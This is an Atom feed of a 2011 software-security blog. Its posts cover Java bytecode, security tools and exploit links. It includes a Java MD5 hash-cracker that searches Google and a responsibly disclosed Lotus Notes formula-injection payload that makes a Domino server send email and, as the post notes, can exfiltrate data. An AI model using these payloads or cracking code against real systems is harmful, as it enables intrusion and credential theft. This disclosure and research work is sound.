<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6178504532294964264</id><updated>2012-01-22T16:14:03.655Z</updated><category term='java sms api'/><category term='tmobile api'/><category term='sabnzbd'/><category term='java'/><category term='Hello world'/><category term='java bytecode'/><category term='Java gotcha'/><category term='Netbeans not loading'/><category term='netbeans stuck'/><category term='penetration testing'/><category term='htmlunit logging'/><category term='hacking java rmi'/><category term='api'/><category term='java orange api'/><category term='java api sabnzbd'/><category term='sabnzbd java'/><category term='java pdf'/><category term='financial application testing bank security'/><category term='malicious code'/><category term='weather java'/><category term='hsbc api'/><category term='java weather'/><category term='OWASP'/><category term='rmi hacking security distributed computing'/><category term='java rmi security'/><category term='java t-mobile api'/><category term='java applet'/><category term='java weather api'/><category term='rmi spii'/><category term='netbeans blank screen'/><category term='java api hsbc'/><category term='orange api'/><title type='text'>Adam Boulton's Blog</title><subtitle type='html'>Software Development and IT security - adamboulton@gmail.com              

 http://uk.linkedin.com/in/adamboulton</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>38</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6966363113492258462</id><published>2011-12-24T08:14:00.000Z</published><updated>2011-12-24T08:30:16.466Z</updated><title type='text'>Cracking MD5 with Google</title><content type='html'>It has been known for a long time now that Google can be used for all kinds of awesome things (Google query hacking etc), and hash cracking is one of them.&lt;br /&gt;&lt;br /&gt;I thought I would share something I wrote last year to demonstrate how easy it is to crack MD5, just by using Google. This is easily adapted for use with other hashes, cracking SHA1 works well too. I've found the success rate to be extremely high. Enjoy :)&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package md5crack;&lt;br /&gt;&lt;br /&gt;import java.io.*;&lt;br /&gt;import java.net.*;&lt;br /&gt;import java.util.logging.*;&lt;br /&gt;import org.apache.commons.codec.digest.DigestUtils;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; *&lt;br /&gt; * @author Adam Boulton - Using Google to crack MD5&lt;br /&gt; */&lt;br /&gt;public class MD5Crack {&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * @param args the command line arguments&lt;br /&gt;     */&lt;br /&gt;    public static void main(String[] args) {&lt;br /&gt;        // TODO code application logic here&lt;br /&gt;&lt;br /&gt;        if(args[0] == null || args[0].isEmpty())&lt;br /&gt;        {&lt;br /&gt;            System.out.println("-= Google MD5 Cracker =-");&lt;br /&gt;            System.out.println("-= Adam Boulton - 2010 =- ");&lt;br /&gt;            System.out.println("Usage: MD5crack &amp;lt;hash&amp;gt;&lt;hash&gt;&lt;hash&gt;");&lt;br /&gt;        }&lt;br /&gt; &lt;br /&gt;        String hash = args[0];&lt;br /&gt;        String url = String.format("https://www.google.com/search?q=%s", hash);&lt;br /&gt;&lt;br /&gt;        try {&lt;br /&gt;            URL oracle = new URL(url);&lt;br /&gt;            URLConnection conn = oracle.openConnection();&lt;br /&gt;&lt;br /&gt;            //keep Google happy, otherwise connection refused.&lt;br /&gt;            conn.setRequestProperty("user-agent", "Mozilla/5.0 Windows NT6.1 WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.63 Safari/535.7");&lt;br /&gt;&lt;br /&gt;            BufferedReader in = new BufferedReader(&lt;br /&gt;                    new InputStreamReader(&lt;br /&gt;                    conn.getInputStream()));&lt;br /&gt;            &lt;br /&gt;            String inputLine;&lt;br /&gt;&lt;br /&gt;            while ((inputLine = in.readLine()) != null) {&lt;br /&gt;                String[] words = inputLine.split("\\s+");&lt;br /&gt;&lt;br /&gt;                for (String word : words) {&lt;br /&gt;                    String wordHash = DigestUtils.md5Hex(word);&lt;br /&gt;                    if (wordHash.equals(hash)) {&lt;br /&gt;&lt;br /&gt;                        System.out.println("[*] Found: " + word);&lt;br /&gt;                        System.exit(0);&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            System.out.println("[!] No results.");&lt;br /&gt;            in.close();&lt;br /&gt;&lt;br /&gt;        } catch (IOException ex) {&lt;br /&gt;            Logger.getLogger(MD5Crack.class.getName()).log(Level.SEVERE, null, ex);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/hash&gt;&lt;/hash&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6966363113492258462?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6966363113492258462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6966363113492258462' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6966363113492258462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6966363113492258462'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/12/cracking-md5-with-google.html' title='Cracking MD5 with Google'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-1371037938686552431</id><published>2011-11-19T09:02:00.000Z</published><updated>2011-12-24T08:24:29.272Z</updated><title type='text'>New security vulnerability: Lotus Notes Formula Injection</title><content type='html'>From time to time, I get an opportunity to do some independent research. Something that has always particularly peaked my interest is Lotus Notes environments, both the administration and development platform. I feel what makes it an interesting environment is:&lt;br /&gt;&lt;br /&gt;1. The focus is business applications&lt;br /&gt;2. There has never been a significant focus from the IT security industry (Fortify doesn't even scan Lotus code)&lt;br /&gt;3. My father happens to be a Lotus Notes Certified Developer.&lt;br /&gt;&lt;br /&gt;These three points make an interesting recipe for security assessments.&lt;br /&gt;&lt;br /&gt;Back in April 2010 I was having a usual tech talk with my dad about IT in general and software development practices. This is when I was introduced to the &lt;a href="http://www.dominoblog.com/dominoblog/dblog.nsf"&gt;Domino Blog&lt;/a&gt;.  Domino Blog is a Lotus Notes application offered by IBM as a weblog solution. It is generally intended for social media networking, allowing users to post topics and allow the general public to supply comments. This application is deployed within a Lotus Domino&lt;br /&gt;environment and is utilized by a wide audience, from IBM employees to the general public.&lt;br /&gt;&lt;br /&gt;My dad happened to have this setup on one of his servers, so it was all ready to break. To speed things up, we moved straight onto a secure code review of the application. The scope of tainted data was fairly limited, so it didn't take long to identify all the entry points, which makes the assessment much easier.&lt;br /&gt;There are interesting functions in LotusScript, but one in particular is the 'Evaluate' function, which allows a Developer to build dynamic functionality by executing &lt;a href="http://www-12.lotus.com/ldd/doc/uafiles.nsf/docs/designer65poster/$File/FormulaPoster.pdf"&gt;Lotus Notes Formula statements&lt;/a&gt;. For those who are familiar with other injection vulnerabilities (SQLi), I am sure the problem is becoming apparent.&lt;br /&gt;&lt;br /&gt;It just so happens that in the Domino Blog there are Evaluate functions which are a sink for data received from HTTP requests without performing data encoding. To move straight onto an example payload it would look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&lt;br /&gt;http://lotusnotesblogdomain.co.uk/blog.nsf/archive?openview&amp;amp;title=Motorbikes&amp;amp;type=cat&amp;amp;cat=");&lt;br /&gt;@MailSend("adamboulton@gmail.com";"";"";"Formula%20Injection";&lt;br /&gt;"The%20email%body%belongs%here");&lt;br /&gt;@IsText("&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The payload above would force the Domino server to issue mail. As the Evaluate function supports wrapping of formula functions, it is trivial to start pulling data from the server and get it delivered to an email account.&lt;br /&gt;&lt;br /&gt;An attacker simply requires the knowledge of how to correctly construct the statement to meet the requirements of the Evaluate function, and gain familiarity with the &lt;a href="http://www-12.lotus.com/ldd/doc/uafiles.nsf/docs/designer65poster/$File/FormulaPoster.pdf"&gt;Formula language&lt;/a&gt;. As can be on the formula poster there is extremely powerful functionality that can make the payloads extremely interesting, and can certainly result in total compromise of the Lotus Notes server. I've appropriately coined this vulnerability Lotus Notes Formula Injection :)&lt;br /&gt;&lt;br /&gt;Certainly add this to your list for web app or source code reviews of a Domino application.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Note: This was all responsibly disclosed to IBM in April 2010. &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Update: 24/12/2011 - I thought it was pretty cool to see this picked up by WhiteHat Security and put in &lt;a href="http://jeremiahgrossman.blogspot.com/2011/02/top-ten-web-hacking-techniques-of-2011.html"&gt;Jeremiah Grossman's blogspot&amp;nbsp;&lt;/a&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-1371037938686552431?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/1371037938686552431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=1371037938686552431' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1371037938686552431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1371037938686552431'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/11/new-type-of-vulnerability-lotus-notes.html' title='New security vulnerability: Lotus Notes Formula Injection'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-1747039199081103539</id><published>2011-07-20T22:17:00.000+01:00</published><updated>2011-07-20T22:20:38.163+01:00</updated><title type='text'>JavaPayload project</title><content type='html'>This is not one to be missed! It is very impressive, Michael (Mihi) has clearly worked hard on this, kudos to him!&lt;br /&gt;&lt;br /&gt;http://javapayload.sourceforge.net/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-1747039199081103539?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/1747039199081103539/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=1747039199081103539' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1747039199081103539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1747039199081103539'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/07/javapayload-project.html' title='JavaPayload project'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-2285259449672636896</id><published>2011-07-18T08:00:00.001+01:00</published><updated>2011-07-18T08:01:12.251+01:00</updated><title type='text'>Insecure coding examples</title><content type='html'>A really useful list of test cases are available on the DHS National Cyber Security Division:&lt;br /&gt;&lt;br /&gt;http://samate.nist.gov/SRD/view.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-2285259449672636896?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/2285259449672636896/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=2285259449672636896' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2285259449672636896'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2285259449672636896'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/07/insecure-coding-examples.html' title='Insecure coding examples'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6773175483859161107</id><published>2011-07-16T22:17:00.000+01:00</published><updated>2011-07-19T20:20:04.593+01:00</updated><title type='text'>Java RMI Server Insecure Default Configuration Java Code Execution</title><content type='html'>Now this is interesting, a Java RMI remote code execution due to a default method being exposed by the distributed garbage collector. It is going to be a fun one to test!&lt;br /&gt;&lt;br /&gt;http://www.exploit-db.com/exploits/17535/&lt;br /&gt;&lt;br /&gt;The Metasploit page can be found here:&lt;br /&gt;&lt;br /&gt;http://www.metasploit.com/modules/exploit/multi/misc/java_rmi_server&lt;br /&gt;&lt;br /&gt;Update: Confirmed as working. It does rely on the RMI service being tunneled over HTTP. This particular exploit won't work directly with the typical JRMP services, but I am sure a similar vulnerability will exist. Warrants further digging....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6773175483859161107?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6773175483859161107/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6773175483859161107' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6773175483859161107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6773175483859161107'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/07/java-rmi-server-insecure-default.html' title='Java RMI Server Insecure Default Configuration Java Code Execution'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-2026439613471382279</id><published>2011-06-23T22:00:00.001+01:00</published><updated>2011-06-23T22:01:04.020+01:00</updated><title type='text'>Java analysis and reverse engineering</title><content type='html'>Some really neat tools here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.woodmann.com/collaborative/tools/index.php/Category:Java_Tools"&gt;http://www.woodmann.com/collaborative/tools/index.php/Category:Java_Tools&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-2026439613471382279?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/2026439613471382279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=2026439613471382279' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2026439613471382279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2026439613471382279'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/06/java-analysis-and-reverse-engineering.html' title='Java analysis and reverse engineering'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-7379766070554738990</id><published>2011-06-23T20:26:00.000+01:00</published><updated>2011-06-23T21:28:10.711+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java bytecode'/><title type='text'>Java bytecode analysis</title><content type='html'>As with any language, there are always best practices. One that I wanted to take a deeper look into is from &lt;a href="http://www.amazon.co.uk/Effective-Java-Second-Joshua-Bloch/dp/0321356683/ref=sr_1_1?ie=UTF8&amp;qid=1308857822&amp;sr=8-1"&gt;Joshua Bloch's book, Effective Java&lt;/a&gt;. The one in particular is item 4 - Avoid creating duplicate objects. &lt;br /&gt;&lt;br /&gt;I wanted to take a deeper look as to what is actually happening at the byte code level. Joshua's recommendation is to never create a String as follows:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;String str = new String(&amp;quot;my string&amp;quot;); //never do this&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;and instead do:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;String s = &amp;quot;my string&amp;quot;;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The first statement results in an additional String instance being created. &lt;br /&gt;&lt;br /&gt;So, taking a look at the Java bytecode using a single String instance we see:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;LDC &amp;quot;my string&amp;quot; //push string &amp;quot;my string&amp;quot; onto stack&lt;br /&gt;ASTORE 2 //store it in local variable 2&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So it only requires two opcodes for a single String declaration and assignment. Let's compare this to the other "bad" example of creating a String instance unncessarily:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;NEW java/lang/String //Make a new String object and leave a reference to it on the stack:&lt;br /&gt;&lt;br /&gt;[ Stack now contains: objectref ]&lt;br /&gt;&lt;br /&gt;DUP //Duplicate the object reference:&lt;br /&gt;&lt;br /&gt;[ Stack now contains: objectref objectref ]&lt;br /&gt;&lt;br /&gt;LDC &amp;quot;my string&amp;quot; //push string &amp;quot;my string&amp;quot; onto stack&lt;br /&gt;INVOKESPECIAL java/lang/String.&amp;lt;init&amp;gt;(Ljava/lang/String;)V &lt;br /&gt;//call the String instance initialization method&lt;br /&gt;&lt;br /&gt;ASTORE 3 //and store it in local variable 3&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As we can see, there is quite the difference as there are now five opcodes to achieve the same result. What I am going to be really interested in is taking a look at the translated interpreted code / native code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-7379766070554738990?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/7379766070554738990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=7379766070554738990' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7379766070554738990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7379766070554738990'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/06/java-bytecode-analysis.html' title='Java bytecode analysis'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-8300520892064190610</id><published>2011-03-03T08:47:00.000Z</published><updated>2011-03-03T08:48:34.194Z</updated><title type='text'>Java LiveConnect</title><content type='html'>LiveConnect is a feature of web browsers which allows Java applets to communicate with the JavaScript engine in the browser, and JavaScript on the web page to interact with applets. The LiveConnect concept originated in the Netscape web browser, and to this date, Mozilla and Firefox browsers have had the most complete support for LiveConnect features. It has, however, been possible to call between JavaScript and Java in some fashion on all web browsers for a number of years.&lt;br /&gt;&lt;br /&gt;http://jdk6.java.net/plugin2/liveconnect/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-8300520892064190610?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/8300520892064190610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=8300520892064190610' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8300520892064190610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8300520892064190610'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/03/java-liveconnect.html' title='Java LiveConnect'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6023852238179845053</id><published>2011-02-22T10:15:00.000Z</published><updated>2011-02-22T10:17:35.046Z</updated><title type='text'>Watcher v1.5.1 has been released</title><content type='html'>Watcher is a runtime passive-analysis tool for HTTP-based Web applications. Watcher detects Web-application security issues as well as operational configuration issues. Watcher provides detection for vulnerabilities, developers quick sanity checks, and auditors PCI compliance auditing. It looks for issues related to mashups, user-controlled payloads (potential XSS), cookies, comments, HTTP headers, SSL, Flash, Silverlight, referrer leaks, information disclosure, Unicode, and more.&lt;br /&gt;&lt;br /&gt;Major Features: &lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Passive detection of security, privacy, and PCI compliance issues in HTTP, HTML, Javascript, CSS, and development frameworks (e.g. ASP.NET, JavaServer)&lt;br /&gt;&lt;li&gt;Works seamlessly with complex Web 2.0 applications while you drive the Web browser&lt;br /&gt;&lt;li&gt;Non-intrusive&lt;br /&gt;&lt;li&gt;Real-time analysis and reporting - findings are reported as they’re found, exportable to XML, HTML, and Team Foundation Server (TFS)&lt;br /&gt;&lt;li&gt;Configurable domains with wildcard support&lt;br /&gt;&lt;li&gt;Extensible framework for adding new checks&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Watcher is built as a plugin for the Fiddler HTTP debugging proxy available at &lt;a href="www.fiddlertool.com"&gt;www.fiddlertool.com &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Download Watcher from: &lt;a href="http://websecuritytool.codeplex.com"&gt;http://websecuritytool.codeplex.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6023852238179845053?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6023852238179845053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6023852238179845053' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6023852238179845053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6023852238179845053'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/02/watcher-v151-has-been-released.html' title='Watcher v1.5.1 has been released'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-3267789242992420241</id><published>2011-02-19T09:58:00.001Z</published><updated>2011-02-20T23:25:45.864Z</updated><title type='text'>IBM Lotus Domino LDAP Bind Request Remote Code Execution Vulnerability</title><content type='html'>I am quite interested in Lotus Domino security, I think it makes an interesting platform for attacking for several reasons. It is a fully packed solution for enterprises (email, collaboration platform and custom application platform) and I don't believe the product has even really been scrutinized from a security pespective.&lt;br /&gt;&lt;br /&gt;A remote code execution exploit is now available for the LDAP service, which is enabled by default :s The source of an exploit can be found &lt;a href="http://www.exploit-db.com/exploits/16190/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-3267789242992420241?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/3267789242992420241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=3267789242992420241' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/3267789242992420241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/3267789242992420241'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/02/ibm-lotus-domino-ldap-bind-request.html' title='IBM Lotus Domino LDAP Bind Request Remote Code Execution Vulnerability'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-5707643195577251680</id><published>2011-02-19T08:50:00.001Z</published><updated>2011-02-19T08:51:35.967Z</updated><title type='text'>DOM XSS Scanner</title><content type='html'>DOMXSS Scanner&lt;br /&gt;&lt;br /&gt;DOMXSS Scanner is an online tool that helps you find potential DOM based XSS 